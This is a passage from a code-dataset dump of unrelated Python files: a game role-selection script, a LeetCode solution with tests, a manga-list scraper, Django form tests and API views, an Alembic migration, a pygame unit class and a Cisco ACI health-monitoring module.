RoleValue + \"\\n\" + (player + \":\" + p.petPhrase())\n #\n # if g.ccbox(playerValue, title, choices=(\"重新选择角色\", \"决定就是你了\")):\n # pass\n #\n # else:\n # count += 1\n #\n #\n # elif player == list_player[2]:\n #\n # # 选择依文的情况\n # p = Yiwen()\n # p.RoleValue()\n #\n # RoleValue = \"\"\n # playerValue = ''\n #\n # for each in playerdict:\n # RoleValue += (\"\\n%s:%s\\n\" % (each, playerdict[each]))\n #\n # playerValue = player + \"\\n\" + RoleValue + \"\\n\" + (player + \":\" + p.petPhrase())\n #\n # if g.ccbox(playerValue, title, choices=(\"重新选择角色\", \"决定就是你了\")):\n # pass\n #\n # else:\n # count += 1\n #\n #\n #\n # elif player == list_player[3]:\n #\n # # 选择兔兔的情况\n # p = Tutu()\n # p.RoleValue()\n #\n # RoleValue = \"\"\n # playerValue = ''\n #\n # for each in playerdict:\n # RoleValue += (\"\\n%s:%s\\n\" % (each, playerdict[each]))\n #\n # playerValue = player + \"\\n\" + RoleValue + \"\\n\" + (player + \":\" + p.petPhrase())\n #\n # if g.ccbox(playerValue, title, choices=(\"重新选择角色\", \"决定就是你了\")):\n # pass\n #\n # else:\n # count += 1\n #\n # elif player == list_player[4]:\n #\n # # 选择萌新的情况\n # p = Mengxin()\n # p.RoleValue()\n #\n # RoleValue = \"\"\n # playerValue = ''\n #\n # for each in playerdict:\n # RoleValue += (\"\\n%s:%s\\n\" % (each, playerdict[each]))\n #\n # playerValue = player + \"\\n\" + RoleValue + \"\\n\" + (player + \":\" + p.petPhrase())\n #\n # if g.ccbox(playerValue, title, choices=(\"重新选择角色\", \"决定就是你了\")):\n # pass\n #\n # else:\n # count += 1\n #\n #\n #\n # elif player == list_player[5]:\n #\n # # 选择小水银的情况\n # p = Xiaoshuiyin()\n # p.RoleValue()\n #\n # RoleValue = \"\"\n # playerValue = ''\n #\n # for each in playerdict:\n # RoleValue += (\"\\n%s:%s\\n\" % (each, playerdict[each]))\n #\n # playerValue = player + \"\\n\" + RoleValue + \"\\n\" + (player + \":\" + p.petPhrase())\n #\n # if g.ccbox(playerValue, title, choices=(\"重新选择角色\", \"决定就是你了\")):\n # pass\n #\n # else:\n # count += 1\n #\n #\n # elif player == list_player[6]:\n #\n # # 选择华日的情况\n # p = Huari()\n # p.RoleValue()\n #\n # RoleValue = \"\"\n # playerValue = ''\n #\n # for each in playerdict:\n # RoleValue += (\"\\n%s:%s\\n\" % (each, playerdict[each]))\n #\n # playerValue = player + \"\\n\" + RoleValue + \"\\n\" + (player + \":\" + p.petPhrase())\n #\n # if g.ccbox(playerValue, title, choices=(\"重新选择角色\", \"决定就是你了\")):\n # pass\n #\n # else:\n # count += 1\n\n\n\n\n # print(\"欢迎来到狂三真爱团,角色大冒险游戏!!!\")\n # print(\"游戏角色分别有:略略酱、 白菜酱、依文酱、兔兔酱、萌新酱、小水银酱、华日酱\")\n #\n # while 1:\n # player = input(\"请选择属于你自己的角色:\")\n #\n # if player not in list_player:\n # print(\"你所选择的角色并不存在哦!!!\")\n # print(\"如果有想法的话,可以联系游戏制作人墨墨,制作新的角色!!!\")\n # print(\"现在请重新输入吧!!!\")\n # continue\n #\n # else:\n # if player == list_player[0]:\n # p = Guolue()\n # p.attributeValue()\n # print(playerdict)\n # print(p.petPhrase())\n #\n # elif player == list_player[1]:\n # p = Guolue()\n # p.attributeValue()\n # print(playerdict)\n # print(p.petPhrase())\n #\n # elif player == list_player[2]:\n # p = Guolue()\n # p.attributeValue()\n # print(playerdict)\n # print(p.petPhrase())\n #\n # elif player == list_player[3]:\n # p = Guolue()\n # p.attributeValue()\n # print(playerdict)\n # print(p.petPhrase())\n #\n # elif player == list_player[4]:\n # p = Guolue()\n # p.attributeValue()\n # print(playerdict)\n # print(p.petPhrase())\n #\n # elif player == list_player[5]:\n # p = Guolue()\n # p.attributeValue()\n # print(playerdict)\n # print(p.petPhrase())\n #\n # elif player == list_player[6]:\n # p = Guolue()\n # p.attributeValue()\n # print(playerdict)\n # print(p.petPhrase())\n #\n","repo_name":"vothin/code","sub_path":"adventure game/roleAttri.py","file_name":"roleAttri.py","file_ext":"py","file_size_in_byte":14518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18404603799","text":"import itertools; import math; import operator; import random; import string; from bisect import *; from collections import deque, defaultdict, Counter, OrderedDict; from heapq import *; import unittest; from typing import List;\ndef get_sol(): return Solution()\nclass Solution:\n # https://leetcode.com/problems/change-minimum-characters-to-satisfy-one-of-three-conditions/discuss/1032339/PythonDraw-a-simple-graph-to-explain\n def minCharacters(self, a: str, b: str) -> int:\n m,n=len(a),len(b)\n freq1 = [0]*26\n freq2 = [0]*26\n for x in a: freq1[ord(x)-97]+=1\n for x in b: freq2[ord(x)-97]+=1\n most_common = float('-inf')\n for i in range(26):\n most_common = max(most_common, freq1[i]+freq2[i])\n option3 = m+n-most_common\n\n pre1 = list(itertools.accumulate(freq1))\n pre2 = list(itertools.accumulate(freq2))\n\n option1,option2=float('inf'),float('inf')\n for i in range(25): # avoid 'z'. you cant move letters in b to be on the right of z\n option1 = min(option1,pre1[i]+n-pre2[i])\n option2 = min(option2,pre2[i]+m-pre1[i])\n return min(option1,option2,option3)\n\n\nclass MyTestCase(unittest.TestCase):\n def test1(self):\n a,b = \"aba\", \"caa\"\n Output= 2\n self.assertEqual(Output, get_sol().minCharacters(a,b))\n def test2(self):\n a,b = \"dabadd\", \"cda\"\n Output= 3\n self.assertEqual(Output, get_sol().minCharacters(a,b))\n def test3(self):\n a,b = \"da\", \"cced\"\n Output= 1\n self.assertEqual(Output, get_sol().minCharacters(a,b))\n def test4(self):\n a,b = \"e\", \"e\"\n Output= 0\n self.assertEqual(Output, get_sol().minCharacters(a,b))","repo_name":"afzalsiddique/problem-solving","sub_path":"Problem_Solving_Python/leetcode/lc1737.py","file_name":"lc1737.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"42122309498","text":"import random\nimport time\n# random.uniform(50, 100), random.randint(5000, 7000),0, random.uniform(10, 50)\ndata1 = list()\ndata2 = list()\ndata3 = list()\nt = list()\nfor i in range(10):\n data1.append(str(round(random.uniform(50, 100), 2)))\n data2.append(str(random.randint(5000, 7000)))\n data3.append(str(round(random.uniform(10, 50), 2)))\n t.append(\"'{}'\".format(time.strftime(\"%H:%M:%S\", time.localtime())))\n time.sleep(0.5)\nwith open(\"data1.txt\", \"w\") as f:\n f.write(\",\".join(data1))\nwith open(\"data2.txt\", \"w\") as f:\n f.write(\",\".join(data2))\nwith open(\"data3.txt\", \"w\") as f:\n f.write(\",\".join(data3))\nwith open(\"t.txt\", \"w\") as f:\n f.write(\",\".join(t))\n","repo_name":"YuanXianguo/Python-Project-ITC","sub_path":"demo/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"39982129537","text":"from time import sleep\r\n\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nfrom config import Config\r\n\r\ndef htmlParse(f,i):\r\n started = False;\r\n config = Config().fetch()\r\n url = \"https://mox.moe/l/all,all,%E5%AE%8C%E7%B5%90,score,all,all,BL/\"+str(i)+\".htm\"\r\n print(url)\r\n html = requests.get(url, cookies=config[\"account\"], headers = {\"user-agent\": config[\"ua\"]}).text\r\n\r\n soup = BeautifulSoup(html, \"html.parser\")\r\n\r\n if not started:\r\n tag = soup.find_all('td',attrs={\"class\": \"listtitle\"})[1]\r\n # print(type(tag))\r\n print(tag.get_text())\r\n started = True\r\n\r\n result = soup.find_all('tr',attrs={\"class\": \"listbg\"})\r\n\r\n for item in result:\r\n for item2 in item.find_all('a'):\r\n if item2.string != None:\r\n print(item2.string)\r\n f.write(item2.string)\r\n f.write('\\n')\r\n\r\n sleep(1)\r\n\r\nfilename = \"MangaList.txt\"\r\nmf = open(filename, \"a+\", encoding='utf-8')\r\ni = 1\r\nwhile(i<=50):\r\n htmlParse(mf,i)\r\n print('page ', i)\r\n i+=1\r\n\r\nmf.close\r\n#\r\n# ml = open(filename, \"w\", encoding='utf-8')\r\n# ml.write(html)\r\n# ml.close()\r\n\r\n\r\n","repo_name":"honeyeyo/manga_crawler","sub_path":"getMangaList.py","file_name":"getMangaList.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"44454924171","text":"from django.test import TestCase\nfrom django.contrib.auth.models import User\n\nfrom proposal.models import Proposal, ProposalType, AudienceLevel, Category\nfrom proposal.forms import ProposalForm\n\n\nclass ProposalFormTest(TestCase):\n fixtures = ['proposal_types.json',\n 'categories.json',\n 'audience_levels.json']\n\n def setUp(self):\n self.user = User.objects.create_user('marconi',\n 'marconi@djangomango.com',\n 'supersecure')\n\n def test_is_extreme(self):\n \"\"\"\n Test that if is_extreme is ticked, duration is not required.\n \"\"\"\n proposal_type = ProposalType.objects.get(name='Talk')\n audience_level = AudienceLevel.objects.get(name='Experienced')\n category = Category.objects.get(name='Web Framework')\n\n self.assertEqual(Proposal.objects.count(), 0)\n data = {'title': 'Awesome Talk',\n 'type': proposal_type.id,\n 'audience': audience_level.id,\n 'category': category.id,\n 'is_extreme': True,\n 'duration_0': '',\n 'duration_1': 'minutes',\n 'description': 'Some awesome description.',\n 'abstract': 'Some awesome abstract.'}\n form = ProposalForm(data=data)\n self.failUnless(form.is_valid())\n form.save(self.user)\n self.assertEqual(Proposal.objects.count(), 1)\n\n def test_not_is_extreme(self):\n \"\"\"\n Test that if is_extreme is not ticked, duration is required.\n \"\"\"\n proposal_type = ProposalType.objects.get(name='Talk')\n audience_level = AudienceLevel.objects.get(name='Experienced')\n category = Category.objects.get(name='Web Framework')\n\n self.assertEqual(Proposal.objects.count(), 0)\n data = {'title': 'Awesome Talk',\n 'type': proposal_type.id,\n 'audience': audience_level.id,\n 'category': category.id,\n 'is_extreme': False,\n 'duration_0': '',\n 'duration_1': 'minutes',\n 'description': 'Some awesome description.',\n 'abstract': 'Some awesome abstract.'}\n form = ProposalForm(data=data)\n self.assertFalse(form.is_valid())\n","repo_name":"johncrisostomo/django-mango","sub_path":"mango/apps/proposal/tests/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"6182080388","text":"\"\"\"Remove rent_per_sqm\n\nRevision ID: 2eb825d9e46e\nRevises: a44cac49d669\nCreate Date: 2022-08-11 11:48:05.675834\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '2eb825d9e46e'\ndown_revision = 'a44cac49d669'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('properties', 'rent_per_sqm')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('properties', sa.Column('rent_per_sqm', mysql.FLOAT(), nullable=True))\n # ### end Alembic commands ###\n","repo_name":"preciousidam/analysis-backend","sub_path":"migrations/versions/2eb825d9e46e_remove_rent_per_sqm.py","file_name":"2eb825d9e46e_remove_rent_per_sqm.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26458178743","text":"import pygame\nfrom pygame.sprite import Sprite\nfrom rolldice import rollDie\nfrom bullet import Bullet\nfrom names import *\n\n# Class Definitions\nclass BaseUnit(Sprite):\n \"\"\"\n The basic representation of a unit from which all other unit types\n extend. \n \"\"\"\n active_units = pygame.sprite.LayeredUpdates()\n \n def __init__(self,\n team = None,\n node = None,\n activate = False,\n **keywords):\n\n Sprite.__init__(self)\n \n self.team = team\n self.node = node\n self._moving = False\n self._active = False\n self._path = []\n \n #Default unit stats\n self.health = 10\n self.ranged = False\n self.max_health = self.health\n self.attack_cap = 1\n self.base_damage = 1\n self.damagedice = (1,1)\n self.base_defense = 1\n self.defensedice = (1,1)\n self.boost = [2,0]\n self.cost = 1\n self.type = \"Base Unit\"\n\n # Set unit block attributes\n self.image = pygame.Surface([80,80])\n self.rect = self.image.get_rect()\n \n \n if activate:\n self.activate()\n \n @property\n def active(self):\n \"\"\"\n Returns whether this is active.\n \"\"\"\n return self._active\n \n\n def update(self, screen, target):\n \"\"\"\n Update the unit's image after movements\n \"\"\"\n # Move the block to the target for melee attack\"\n\n # Re-fill the block\n screen.blit(bg,(self.rect.x,self.rect.y), (self.rect.x,self.rect.y,80,80))\n\n # For x coordinate\n if self.rect.x > target.rect.x:\n self.rect.x = target.rect.x + 90\n elif self.rect.x < target.rect.x:\n self.rect.x = target.rect.x - 90\n\n # For y coordinate\n self.rect.y = target.rect.y \n\n\n def activate(self):\n \"\"\"\n Adds this unit to the active roster.\n \"\"\"\n if not self._active:\n self._active = True\n \n def deactivate(self):\n \"\"\"\n Removes this unit from the active roster.\n \"\"\"\n if self._active:\n self._active = False\n\n def hurt(self, damage):\n \"\"\"\n Causes damage to the unit, and destroys it when it's out of health.\n \"\"\"\n self.health -= damage\n \n # Dead!\n if self.health <= 0:\n self.deactivate()\n self.team.remove(self)\n \n def get_damage(self, target):\n \"\"\"\n Returns the potential attack damage against a given enemy.\n \"\"\"\n\n # Get the unit's current defense.\n defense = target.get_defense()\n\n damage = self.base_damage +rollDie(self.boost[0], self.boost[1]) + rollDie(self.damagedice[0], self.damagedice[1])- defense\n \n # Don't do negative damage\n if damage <= 0:\n return 0\n \n return damage\n \n def get_defense(self):\n \"\"\"\n Returns this unit's defense.\n \"\"\"\n return self.base_defense + rollDie(self.defensedice[0],self.defensedice[1])\n \n \n def attack(self, target):\n damage = self.get_damage(target)\n if damage:\n target.hurt(damage)\n \n return damage\n \n","repo_name":"dai-dao/CMPUT275-Project","sub_path":"base_unit.py","file_name":"base_unit.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9385267826","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom datetime import datetime\nfrom modules.APIC import Connector\nfrom models.orm_aci import DataBase, Tenant, Health, Node, App, BD, Epg, FaultSummary, FaultDetail\nfrom sqlalchemy import desc, exc\nfrom loguru import logger\nimport sys, getopt, configparser\nimport maya\nimport json\n\nlogger.propagate = False\n# logger.setLevel(LOGLEVEL)\n\nclass ACIHealt(Connector):\n\n def getTenants(self, db):\n getTenantsURL = self.apic_url + '/api/class/fvTenant.json'\n logger.debug('Get tenants list from {apic}', apic=self.apic_url)\n tenants = self.get(getTenantsURL)\n tenants_dict = []\n tenants_dict_db = []\n\n # Get tenants from APIC and put into list of dictionaries\n for tenant in tenants['imdata']:\n name = tenant['fvTenant']['attributes']['name']\n descr = tenant['fvTenant']['attributes']['descr']\n dict = {'name':name, 'descr':descr}\n tenants_dict.append(dict)\n\n tn = db.session.query(Tenant).filter(Tenant.name == name).first()\n if tn:\n logger.debug(f'Update tenant {name} ({descr})', name=name, descr=descr)\n try:\n db.session.query(Tenant).filter(Tenant.name==name).update(dict)\n except:\n logger.exception('Unable to update table')\n db.session.rollback()\n raise\n\n elif not tn:\n logger.debug('Add tenant {name}', name=name)\n db.dynamic_add(Tenant, dict)\n db.session.commit()\n\n\n # Checking data\n db.setFlagToUnusedRow(Tenant, tenants_dict, 'name', Tenant.name)\n\n # Clear database\n db.dynamic_clean(Tenant)\n db.save_and_exit()\n\n def getNodes(self, db):\n getURL = self.apic_url + '/api/node/class/topSystem.json'\n logger.debug('Get nodes list from {apic}', apic=self.apic_url)\n nodes = self.get(getURL)\n nodes_list = []\n\n # Get tenants from APIC and put into list of dictionaries\n for node in nodes['imdata']:\n id = node['topSystem']['attributes']['id']\n name = node['topSystem']['attributes']['name']\n serial = node['topSystem']['attributes']['serial']\n podId = int(node['topSystem']['attributes']['podId'])\n role = node['topSystem']['attributes']['role']\n systemUpTime = node['topSystem']['attributes']['systemUpTime']\n dn = node['topSystem']['attributes']['dn']\n\n dict = {\n 'id' : id,\n 'name': name,\n 'serial': serial,\n 'podId': podId,\n 'role': role,\n 'systemUpTime' : systemUpTime,\n 'dn' : dn\n }\n nodes_list.append(dict)\n\n nd = db.session.query(Node).filter(Node.name == name).first()\n if nd:\n logger.debug('Update node {name}', name=name)\n db.session.query(Node).filter(Node.name==name).update(dict)\n elif not nd:\n logger.debug('Add node {name}', name=name)\n db.dynamic_add(Node, dict)\n db.session.commit()\n\n # Checking data\n db.setFlagToUnusedRow(Node, nodes_list, 'name', Node.name)\n\n # Clear database\n db.dynamic_clean(Node)\n db.save_and_exit()\n\n def getTenantHealth(self, db):\n # Get all tenants from database where del_flag is not True (1)\n tns = db.session.query(Tenant).filter(Tenant.del_flag != 1).all()\n for tn in tns:\n tenant_name = tn.name\n logger.debug('Get tenants {tn} health', tn=tenant_name)\n getTenantHealthURL = self.apic_url + '/api/mo/uni/tn-'+tenant_name+'/health.json'\n tenantHealthURL = self.get(getTenantHealthURL)\n\n if tenantHealthURL:\n for tenant in tenantHealthURL['imdata']:\n # Add tenant health to database table health\n db.session.add(Health(\n healthscore=int(tenant['healthInst']['attributes']['cur']),\n time=datetime.now(),\n tenant_id=tn.id\n ))\n logger.debug('Save to database {tn} healthscore: {healthscore}',\n tn=tenant['healthInst']['attributes']['dn'],\n healthscore=tenant['healthInst']['attributes']['cur']\n )\n db.save_and_exit()\n\n def getNodesHelath(self, db):\n # Get all nodes from database where del_flag is not True (1)\n nds = db.session.query(Node).filter(Node.del_flag != 1 and Node.role != 'controller').all()\n for node in nds:\n node_name = node.name\n logger.debug('Get node {nd} health', nd=node_name)\n getHealthURL = self.apic_url + '/api/mo/' + node.dn + '/health.json'\n getHealthURL = self.get(getHealthURL)\n\n for nodeHealth in getHealthURL['imdata']:\n db.session.add(Health(\n healthscore=int(nodeHealth['healthInst']['attributes']['cur']),\n time=datetime.now(),\n node_id=node.id\n ))\n logger.debug('Save to database {tn} healthscore: {healthscore}',\n tn=nodeHealth['healthInst']['attributes']['dn'],\n healthscore=nodeHealth['healthInst']['attributes']['cur']\n )\n db.save_and_exit()\n\n def getAppAndBDList(self, db):\n apps_list = []\n bds_list = []\n # Get tenant names and\n tenants = db.session.query(Tenant).filter(Tenant.del_flag != 1).all()\n for tenant in tenants:\n tenant_id = tenant.id\n tenant = tenant.name\n\n url = self.apic_url + '/api/node/mo/uni/tn-'+tenant+'.json?query-target=children'\n logger.info('Get App and BD list from tenant {tenant}',tenant=tenant)\n tenant_childrens = self.get(url)\n\n if tenant_childrens['totalCount'] != '0':\n for child in tenant_childrens['imdata']:\n if 'fvAp' in child:\n name = child['fvAp']['attributes']['name']\n descr = child['fvAp']['attributes']['descr']\n dn = child['fvAp']['attributes']['dn']\n dict = {\n 'name' : name,\n 'descr' : descr,\n 'dn' : dn,\n 'tenant_id' : tenant_id\n }\n apps_list.append(dict)\n app = db.session.query(App).filter(App.name == name).first()\n if app:\n logger.debug('Update app {name}', name=name)\n db.session.query(App).filter(App.name == name).update(dict)\n elif not app:\n logger.debug('Add app {name}', name=name)\n db.dynamic_add(App, dict)\n db.session.commit()\n\n elif 'fvBD' in child:\n name = child['fvBD']['attributes']['name']\n descr = child['fvBD']['attributes']['descr']\n dn = child['fvBD']['attributes']['dn']\n dict = {\n 'name' : name,\n 'descr' : descr,\n 'dn' : dn,\n 'tenant_id' : tenant_id\n }\n bds_list.append(dict)\n bd = db.session.query(BD).filter(BD.name == name).first()\n if bd:\n logger.debug('Update bridge-domain {name}', name=name)\n db.session.query(BD).filter(BD.name == name).update(dict)\n elif not bd:\n logger.debug('Add bridge-domain {name}', name=name)\n db.dynamic_add(BD, dict)\n db.session.commit()\n\n # Checking data\n db.setFlagToUnusedRow(App, apps_list, 'name', App.name)\n db.setFlagToUnusedRow(BD, bds_list, 'name', BD.name)\n # Clear database\n logger.debug('Clear App and BD tables, commit and exit connection to DB')\n db.dynamic_clean(App)\n db.dynamic_clean(BD)\n db.save_and_exit()\n\n def getAppHealth(self, db):\n logger.info('Get Apps list from DB')\n for app in db.session.query(App).all():\n tn = db.session.query(Tenant).filter(Tenant.id == app.tenant_id and Tenant.del_flag != 1).first()\n appHealthUrl = self.apic_url + '/api/node/mo/uni/tn-'+tn.name+\\\n '/ap-'+app.name+\\\n '.json?query-target=self&rsp-subtree-include=health'\n logger.info('Get app [{app}] health', app=app.name)\n appsHealths = self.get(appHealthUrl)\n\n if appsHealths:\n for appHealth in appsHealths['imdata']:\n db.session.add(Health(\n healthscore = int(appHealth['fvAp']['children'][0]['healthInst']['attributes']['cur']),\n time = datetime.now(),\n app_id = app.id\n ))\n\n db.save_and_exit()\n\n def getBdHealth(self, db):\n logger.info('Get BDs list from DB')\n for bd in db.session.query(BD).all():\n tn = db.session.query(Tenant).filter(Tenant.id == bd.tenant_id and Tenant.del_flag != 1).one()\n bdHealthUrl = self.apic_url + '/api/node/mo/uni/tn-'+tn.name+\\\n '/BD-'+bd.name+\\\n '.json?query-target=self&rsp-subtree-include=health'\n logger.info('Get BD [{bd}] health', bd=bd.name)\n bdsHealths = self.get(bdHealthUrl)\n\n if bdsHealths:\n for bdHealth in bdsHealths['imdata']:\n db.session.add(Health(\n healthscore = int(bdHealth['fvBD']['children'][0]['healthInst']['attributes']['cur']),\n time = datetime.now(),\n bd_id = bd.id\n ))\n db.save_and_exit()\n\n def getEpgList(self,db):\n logger.debug(\"Getting EPGs list\")\n\n epgs_list = []\n apps = db.session.query(App).filter(App.del_flag != 1).all()\n for app in apps:\n url = self.apic_url + '/api/node/mo/'+app.dn+'.json?query-target=children'\n apic_response = self.get(url)\n if apic_response:\n for fv in apic_response['imdata']:\n if 'fvAEPg' in fv:\n name = fv['fvAEPg']['attributes']['name']\n nameAlias = fv['fvAEPg']['attributes']['nameAlias']\n descr = fv['fvAEPg']['attributes']['descr']\n dn = fv['fvAEPg']['attributes']['dn']\n del_flag = False\n app_id = app.id\n dict = {\n 'name' : name,\n 'nameAlias' : nameAlias,\n 'descr' : descr,\n 'dn' : dn,\n 'del_flag' : del_flag,\n 'app_id' : app_id\n }\n epgs_list.append(dict)\n\n epg = db.session.query(Epg).filter(Epg.name == name).first()\n if epg:\n logger.debug('Update EPG {name}', name=name)\n db.session.query(Epg).filter(Epg.name == name).update(dict)\n elif not epg:\n logger.debug('Add EPG {name}', name=name)\n db.dynamic_add(Epg, dict)\n db.session.commit()\n\n\n # Checking if data exists\n db.setFlagToUnusedRow(Epg, epgs_list, 'name', Epg.name)\n # Clear database\n logger.debug('Clear Epg tables, commit and exit connection to DB')\n db.dynamic_clean(Epg)\n db.save_and_exit()\n\n def getEpgHelath(self, db):\n # Get all epgs from database where del_flag is not True (1)\n epgs = db.session.query(Epg).filter(Epg.del_flag != 1).all()\n for epg in epgs:\n logger.debug('Get node {nd} health', nd=epg.name)\n getHealthURL = self.apic_url + '/api/mo/' + epg.dn + '/health.json'\n getHealthURL = self.get(getHealthURL)\n\n if getHealthURL:\n for epgHealth in getHealthURL['imdata']:\n db.session.add(Health(\n healthscore=int(epgHealth['healthInst']['attributes']['cur']),\n time=datetime.now(),\n epg_id=epg.id\n ))\n logger.debug('Save to database {tn} healthscore: {healthscore}',\n tn=epgHealth['healthInst']['attributes']['dn'],\n healthscore=epgHealth['healthInst']['attributes']['cur']\n )\n db.save_and_exit()\n\n def getFaultDetail(self, db, code, faultsummary_id):\n logger.debug('Get fault {x} details', x=code)\n url = self.apic_url + '/api/node/class/faultInfo.json?query-target-filter=and(eq(faultInfo.code,\"'+code+'\"))'\n\n apic_response = self.get(url)\n if apic_response:\n for detail in apic_response['imdata']:\n try:\n if 'faultInst' in detail:\n fault_prefix = 'faultInst'\n elif 'faultDelegate' in detail:\n fault_prefix = 'faultDelegate'\n\n created_date = detail[fault_prefix]['attributes']['created']\n created_date = maya.parse(created_date).datetime()\n lastTransition = detail[fault_prefix]['attributes']['lastTransition']\n lastTransition = maya.parse(lastTransition).datetime()\n\n payload = {\n 'code' : code,\n 'ack' : detail[fault_prefix]['attributes']['ack'],\n 'descr' : detail[fault_prefix]['attributes']['descr'],\n 'dn' : detail[fault_prefix]['attributes']['dn'],\n 'created' : created_date,\n 'lastTransition' : lastTransition,\n 'domain' : detail[fault_prefix]['attributes']['domain'],\n 'rule' : detail[fault_prefix]['attributes']['rule'],\n 'severity' : detail[fault_prefix]['attributes']['severity'],\n 'type' : detail[fault_prefix]['attributes']['type'],\n 'faultsummary_id' : faultsummary_id\n }\n db.dynamic_add(FaultDetail, payload)\n\n except:\n logger.exception('FaultDelegate problem with apic response')\n logger.debug(json.dumps(apic_response, indent=4))\n sys.exit()\n\n db.save_and_exit()\n\n def getFaultsSummary(self, db):\n logger.debug('Get FaultsSummary')\n\n url = self.apic_url + '/api/node/class/faultSummary.json?order-by=faultSummary.severity|desc'\n apic_response = self.get(url)\n\n if apic_response:\n logger.debug('Drop FaultDetail table')\n FaultDetail.__table__.drop(db.engine)\n logger.debug('Create new empty table faultdetail')\n logger.debug('Drop FaultSummary table')\n FaultSummary.__table__.drop(db.engine)\n logger.debug('Create new empty table faultsummary')\n db.create_tables()\n\n\n for fault in apic_response['imdata']:\n code = fault['faultSummary']['attributes']['code']\n dict = {\n 'cause' : fault['faultSummary']['attributes']['cause'],\n 'code' : code,\n 'count' : int(fault['faultSummary']['attributes']['count']),\n 'descr' : fault['faultSummary']['attributes']['descr'],\n 'domain' : fault['faultSummary']['attributes']['domain'],\n 'nonAcked' : int(fault['faultSummary']['attributes']['nonAcked']),\n 'rule' : fault['faultSummary']['attributes']['rule'],\n 'severity' : fault['faultSummary']['attributes']['severity'],\n 'type' : fault['faultSummary']['attributes']['type']\n }\n logger.debug('Add data to faultsummary table')\n current_item_id = db.dynamic_add(FaultSummary, dict)\n # Get Fault detail\n self.getFaultDetail(db, code, current_item_id)\n\n db.save_and_exit()\n\n\n def tmp(self, db=None):\n # Get APP list from DB\n try:\n apps_list = db.session.query(App).all()\n except exc.SQLAlchemyError as e:\n logger.exception(\"Database trouble\")\n sys.exit()\n\n for app in apps_list:\n logger.info(app.__dict__)\n\n def saveToFile(self, data):\n f = open('json_output.json', 'w')\n f.write(data)\n f.close()\n","repo_name":"slakas/ACI_Health_with_DB_storage_and_custom_API","sub_path":"modules/ACI_health.py","file_name":"ACI_health.py","file_ext":"py","file_size_in_byte":17585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28808326832","text":"#coding: utf-8\nimport json\nimport logging\nfrom functools import wraps\nfrom django.http import (HttpResponse, HttpResponseBadRequest,\n HttpResponseForbidden)\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.decorators.http import require_POST, require_GET\nfrom django.conf import settings\nfrom django.shortcuts import get_object_or_404\nfrom django.db import transaction\nfrom api.forms import (LearnModelStatForm, LearnModelStatusForm,\n TrainEnsembleStatusForm, PredictEnsembleStatusForm,\n ConvnetFileUploadForm)\nfrom job.models import (LearnModel, LearnModelStat, TrainEnsemble,\n PredictEnsemble, Predict)\nfrom job.model_settings import get_default_settings\nfrom data_management.models import DataFile, DataSet\nfrom core.utils import build_key, upload_data_to_s3\n\nfrom rest_framework import status\nfrom rest_framework import mixins\nfrom rest_framework import filters\nfrom rest_framework import viewsets\nfrom rest_framework import serializers\nfrom rest_framework.decorators import action, link\nfrom rest_framework.response import Response\nfrom rest_framework.authentication import SessionAuthentication\nfrom rest_framework.permissions import IsAuthenticated\nfrom api.serializers import (DataFileSerializer, TrainEnsembleSerializer,\n DataSetSerializer, LearnModelSerializer,\n PredictEnsembleSerializer,\n DataFileCreateSerializer)\nfrom api.auth import UseKeyAuthentication\nfrom api.permissions import HasPaidTime, IsSuperUser\nfrom api.exceptions import (APIPermissionDenied,\n APIBadRequest, APIStandardError)\nfrom api.filters import (EnsembleFilterBackend, DataSetFilterBackend,\n PredictFilterBackend)\nfrom api.validators import (predict_ensemble_iterations_validator,\n predict_ensemble_data_validator)\nfrom job.exceptions import BadOperation\n\n\nlogger = logging.getLogger('api.views')\n\n\nclass AuthPermMixin(object):\n \"\"\"\n Mixin with general authentication and permissions\n \"\"\"\n\n authentication_classes = (UseKeyAuthentication, SessionAuthentication)\n permission_classes = (IsAuthenticated, HasPaidTime)\n\n\nclass EnsembleViewSet(AuthPermMixin, viewsets.ModelViewSet):\n serializer_class = TrainEnsembleSerializer\n filter_backends = (EnsembleFilterBackend, )\n model = TrainEnsemble\n\n def get_queryset(self):\n return TrainEnsemble.objects.visible_to(self.request.user)\\\n .for_serialization()\n\n def pre_save(self, obj):\n obj.user = self.request.user\n if obj.train_dataset:\n obj.data_type = obj.train_dataset.data.file_format\n if obj.data_type == obj.TIMESERIES:\n obj.net_type = obj.NET_RNN\n elif obj.data_type == obj.IMAGES:\n obj.net_type = obj.NET_DEEPNET\n elif obj.data_type == obj.GENERAL:\n #if obj.test_dataset is None: #god damn it\n ##TODO Figure out how to distinguish between TSNE and AUTOENCODER\n ## given the information available to self and obj\n #obj.net_type = obj.NET_AUTOENCODER\n if self.request._data['net_type'] == 'AUTOENCODER':\n obj.net_type = obj.NET_AUTOENCODER\n elif self.request._data['net_type'] == 'TSNE':\n obj.net_type = obj.NET_TSNE\n else:\n obj.net_type = obj.NET_DEEPNET\n else:\n logger.critical('%s: unknown data_type', self.obj)\n\n def get_object(self):\n obj = super(EnsembleViewSet, self).get_object()\n if 